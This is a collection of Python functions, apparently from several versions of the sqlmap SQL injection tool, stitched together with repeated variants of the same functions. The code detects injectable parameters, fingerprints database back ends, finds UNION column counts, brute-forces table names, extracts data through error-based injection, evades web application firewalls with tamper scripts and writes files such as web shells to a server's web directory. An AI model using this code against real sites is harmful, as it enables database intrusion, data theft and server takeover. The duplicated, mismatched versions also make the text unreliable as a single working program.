def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ conf.matchRatio = None infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place) if True == dynResult: return False infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place) return not dynResult
def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ if kb.redirectChoice: return None kb.matchRatio = None dynResult = None randInt = randomInt() infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) except SqlmapConnectionException: pass result = None if dynResult is None else not dynResult kb.dynamicParameter = result return result
def checkWaf(): """ Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ if not conf.checkWaf: return False infoMsg = "testing if the target is protected by " infoMsg += "some kind of WAF/IPS/IDS" logger.info(infoMsg) retVal = False backup = dict(conf.parameters) conf.parameters = dict(backup) conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) kb.matchRatio = None Request.queryPage() if kb.errorIsNone and kb.matchRatio is None: kb.matchRatio = LOWER_RATIO_BOUND conf.parameters = dict(backup) conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt()) trueResult = Request.queryPage() if trueResult: conf.parameters = dict(backup) conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) falseResult = Request.queryPage() if not falseResult: retVal = True conf.parameters = dict(backup) if retVal: warnMsg = "it appears that the target is protected. Please " warnMsg += "consider usage of tamper scripts (option '--tamper')" logger.warn(warnMsg) else: infoMsg = "it appears that the target is not protected" logger.info(infoMsg) return retVal
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming( tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s.%s" % (conf.db, table) else: fullTableName = table if Backend.isDbms(DBMS.MCKOI): _ = randomInt(1) result = inject.checkBooleanExpression( "%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) else: result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.files.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % ( time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if ( len(injection.data) == 1 and any( map( lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED], ) ) or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])) ): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) kb.injection = injection randInt1, randInt2 = int(randomInt(2)) + 1, int(randomInt(2)) + 1 # Just in case (also, they have to be different than 0 because of the last test) while randInt1 == randInt2: randInt2 = int(randomInt(2)) + 1 # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): retVal = None elif checkBooleanExpression("%d=%d" % (randInt1, randInt2)): retVal = None elif not checkBooleanExpression( "%d=(%d-%d)" % (abs(randInt1 - randInt2), max(randInt1, randInt2), min(randInt1, randInt2)) ): retVal = None elif checkBooleanExpression("(%d+%d)=(%d-%d)" % (randInt1, randInt2, randInt1, randInt2)): retVal = None if retVal is None: warnMsg = "false positive injection point detected" logger.warn(warnMsg) kb.injection = popValue() return retVal
def errorTest(): if conf.direct: return if kb.errorTest is not None: return kb.errorTest infoMsg = "testing error-based sql injection on parameter " infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic) logger.info(infoMsg) randInt = getUnicode(randomInt(1)) query = queries[kb.dbms].case.query % ("%s=%s" % (randInt, randInt)) result, usedPayload = inject.goError(query, suppressOutput=True, returnPayload=True) if result: infoMsg = "the target url is affected by an error-based sql " infoMsg += "injection on parameter '%s'" % kb.injParameter logger.info(infoMsg) kb.errorTest = agent.removePayloadDelimiters(usedPayload, False) else: warnMsg = "the target url is not affected by an error-based sql " warnMsg += "injection on parameter '%s'" % kb.injParameter logger.warn(warnMsg) kb.errorTest = False setError() return kb.errorTest
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) randInt = randomInt() result = inject.checkBooleanExpression( "%d=(SELECT %d FROM SYSIBM.SYSDUMMY1)" % (randInt, randInt)) if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self.__versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def postfixQuery(self, string, comment=None): """ This method appends the DBMS comment to the SQL injection request """ randInt = randomInt() randStr = randomStr() if comment: string += comment if conf.postfix: string += " %s" % conf.postfix else: if kb.parenthesis is not None: string += " AND %s" % ("(" * kb.parenthesis) else: raise sqlmapNoneDataException, "unable to get the number of parenthesis" if kb.injType == "numeric": string += "%d=%d" % (randInt, randInt) elif kb.injType == "stringsingle": string += "'%s'='%s" % (randStr, randStr) elif kb.injType == "likesingle": string += "'%s' LIKE '%s" % (randStr, randStr) elif kb.injType == "stringdouble": string += "\"%s\"=\"%s" % (randStr, randStr) elif kb.injType == "likedouble": string += "\"%s\" LIKE \"%s" % (randStr, randStr) else: raise sqlmapNoneDataException, "unsupported injection type" return string
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) randInt = randomInt() result = inject.checkBooleanExpression("%d=(SELECT %d FROM SYSIBM.SYSDUMMY1)" % (randInt, randInt)) if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self.__versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace( "WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def fuzzTest(): count = 0 address, port = "127.0.0.10", random.randint(1025, 65535) def _thread(): vulnserver.init(quiet=True) vulnserver.run(address=address, port=port) thread = threading.Thread(target=_thread) thread.daemon = True thread.start() while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((address, port)) break except: time.sleep(1) handle, config = tempfile.mkstemp(suffix=".conf") os.close(handle) url = "http://%s:%d/?id=1" % (address, port) content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) open(config, "w+").write(content) while True: lines = content.split("\n") for i in xrange(20): j = random.randint(0, len(lines) - 1) if any(_ in lines[j] for _ in ("googleDork",)): continue if lines[j].strip().endswith('='): lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0] k = random.randint(0, len(lines) - 1) if '=' in lines[k]: lines[k] += chr(random.randint(0, 255)) open(config, "w+").write("\n".join(lines)) cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) output = shellExec(cmd) if "Traceback" in output: dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % output, coloring=False) handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf") os.close(handle) open(config, "w+").write("\n".join(lines)) else: dataToStdout("\r%d\r" % count) count += 1
def suffixQuery(self, string, comment=None): """ This method appends the DBMS comment to the SQL injection request """ if conf.direct: return self.payloadDirect(string) logic = conf.logic case = getInjectionCase(kb.injType) if case is None: raise sqlmapNoneDataException, "unsupported injection type" randInt = randomInt() randStr = randomStr() if kb.parenthesis is not None: parenthesis = kb.parenthesis else: raise sqlmapNoneDataException, "unable to get the number of parenthesis" if comment: string += comment if conf.suffix: string += " %s" % conf.suffix else: string += case.usage.suffix.format % eval(case.usage.suffix.params) return string
def tamper(payload, **kwargs): """ Embraces complete query with versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') '1 /*!30874AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal
def _orderByTechnique(): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found
def _fuzzUnionCols(place, parameter, prefix, suffix): retVal = None if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: comment = queries[Backend.getIdentifiedDbms()].comment.query choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) for candidate in itertools.product(choices, repeat=kb.orderByColumns): if retVal: break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): for column in candidate: if column.startswith("'") and column.strip("'") in (page or ""): retVal = [(_ if _ != column else "%s") for _ in candidate] break return retVal
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " msg += "UNION column types with fuzzy test? [y/N] " kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) conf.uChar, kb.uChar = uChars validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector
def detect(get_page): page, _, _ = get_page(host=randomInt(6)) retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in ( page or "") retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in ( page or "") return retval
def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, str(randInt)) dynResult1 = Request.queryPage(payload, place) if kb.defaultResult == dynResult1: return False infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) payload = agent.payload(place, parameter, value, "'%s" % randomStr()) dynResult2 = Request.queryPage(payload, place) payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) dynResult3 = Request.queryPage(payload, place) condition = kb.defaultResult != dynResult2 condition |= kb.defaultResult != dynResult3 return condition
def detect(get_page): page, headers, code = get_page(host=randomInt(6)) retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in ( page or "" ) retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (page or "") return retval
def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace( SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(getTechnique()): where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery( query ) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page
def tamper(payload): """ Embraces complete query with versioned comment Example: * Input: 1 AND 2>1-- * Output: 1 /*!30000AND 2>1*/-- Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal
def postfixQuery(self, string, comment=None): """ This method appends the DBMS comment to the SQL injection request """ randInt = randomInt() randStr = randomStr() if comment: string += comment if conf.postfix: string += " %s" % conf.postfix else: if kb.parenthesis != None: string += " AND %s" % ("(" * kb.parenthesis) else: raise sqlmapNoneDataException, "unable to get the number of parenthesis" if kb.injType == "numeric": string += "%d=%d" % (randInt, randInt) elif kb.injType == "stringsingle": string += "'%s'='%s" % (randStr, randStr) elif kb.injType == "likesingle": string += "'%s' LIKE '%s" % (randStr, randStr) elif kb.injType == "stringdouble": string += "\"%s\"=\"%s" % (randStr, randStr) elif kb.injType == "likedouble": string += "\"%s\" LIKE \"%s" % (randStr, randStr) else: raise sqlmapNoneDataException, "unsupported injection type" return string
def tamper(payload, **kwargs): """ Embraces complete query with (MySQL) versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') '1 /*!30963AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % ( payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal
def checkDbms(self): if ( not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION ): v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) randInt = randomInt() result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) randInt = randomInt() result = inject.checkBooleanExpression( "EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression( "EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def checkDbms(self): if conf.dbms in SYBASE_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) self.getBanner() if not conf.extensiveFp: kb.os = "Windows" return True infoMsg = "testing Sybase" logger.info(infoMsg) if conf.direct: result = True else: payload = agent.fullPayload("AND tempdb_id()=tempdb_id()") result = Request.queryPage(payload) if result: logMsg = "confirming Sybase" logger.info(logMsg) payload = agent.fullPayload("AND suser_id()=suser_id()") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not Sybase" logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True for version in range(12, 16): randInt = randomInt() query = "AND @@VERSION_NUMBER/1000=%d" % version payload = agent.fullPayload(query) result = Request.queryPage(payload) if result: kb.dbmsVersion = ["%d" % version] break return True else: warnMsg = "the back-end DBMS is not Sybase" logger.warn(warnMsg) return False
def __commentCheck(self): infoMsg = "executing MySQL comment injection fingerprint" logger.info(infoMsg) query = agent.prefixQuery(" /* NoValue */") query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None # MySQL valid versions updated on 01/2010 versions = ( (32200, 32234), # MySQL 3.22 (32300, 32360), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40123), # MySQL 4.1 (50000, 50090), # MySQL 5.0 (50100, 50142), # MySQL 5.1 (50400, 50405), # MySQL 5.4 (50500, 50502), # MySQL 5.5 (60000, 60011), # MySQL 6.0 ) for element in versions: prevVer = None for version in range(element[0], element[1] + 1): randInt = randomInt() version = str(version) query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def errorUse(expression, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error SQL injection vulnerability on the affected parameter. """ output = None logic = conf.logic randInt = randomInt(1) query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query) query = agent.suffixQuery(query) startLimiter = "" endLimiter = "" expressionUnescaped = expression if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) if kb.dbms == DBMS.MYSQL: nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row' expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR) endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR) else: expressionUnescaped = kb.misc.handler.unescape(expression) startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR) endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR) forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter)) debugMsg = "query: %s" % forgedQuery logger.debug(debugMsg) payload = agent.payload(newValue=forgedQuery) result = Request.queryPage(payload, content=True) match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE) if match: output = match.group('result') if output: output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "") if conf.verbose > 0: infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True) logger.info(infoMsg) if returnPayload: return output, payload else: return output
def cleanupPayload(self, payload, origValue=None): if payload is None: return randInt = randomInt() randInt1 = randomInt() randStr = randomStr() randStr1 = randomStr() payload = payload.replace("[RANDNUM]", str(randInt)) payload = payload.replace("[RANDNUM1]", str(randInt1)) payload = payload.replace("[RANDSTR]", randStr) payload = payload.replace("[RANDSTR1]", randStr1) payload = payload.replace("[DELIMITER_START]", kb.chars.start) payload = payload.replace("[DELIMITER_STOP]", kb.chars.stop) payload = payload.replace("[AT_REPLACE]", kb.chars.at) payload = payload.replace("[SPACE_REPLACE]", kb.chars.space) payload = payload.replace("[DOLLAR_REPLACE]", kb.chars.dollar) payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) if origValue is not None: payload = payload.replace("[ORIGVALUE]", origValue) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) else: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise sqlmapNoneDataException, errMsg return payload
def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: debugMsg = "heuristic checking skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return None if wasLastRequestDBMSError(): debugMsg = "heuristic checking skipped " debugMsg += "because original page content " debugMsg += "contains DBMS error" logger.debug(debugMsg) return None prefix = "" suffix = "" if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix if conf.suffix: suffix = conf.suffix payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) parseFilePaths(page) result = wasLastRequestDBMSError() infoMsg = "heuristic test shows that %s " % place infoMsg += "parameter '%s' might " % parameter kb.heuristicTest = result if not result and kb.dynamicParameter: _ = conf.paramDict[place][parameter] if _.isdigit(): randInt = int(randomInt()) payload = "%s%s%s" % (prefix, "%s-%s" % (int(_) + randInt, randInt), suffix) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) result = Request.queryPage(payload, place, raise404=False) if result: infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION) logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warn(infoMsg) return result
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if ( conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD) ): fullTableName = "%s%s%s" % ( conf.db, ".." if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else ".", table, ) else: fullTableName = table result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)) ) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % ( time.strftime("%X"), unsafeSQLIdentificatorNaming(table), ) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit), ) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
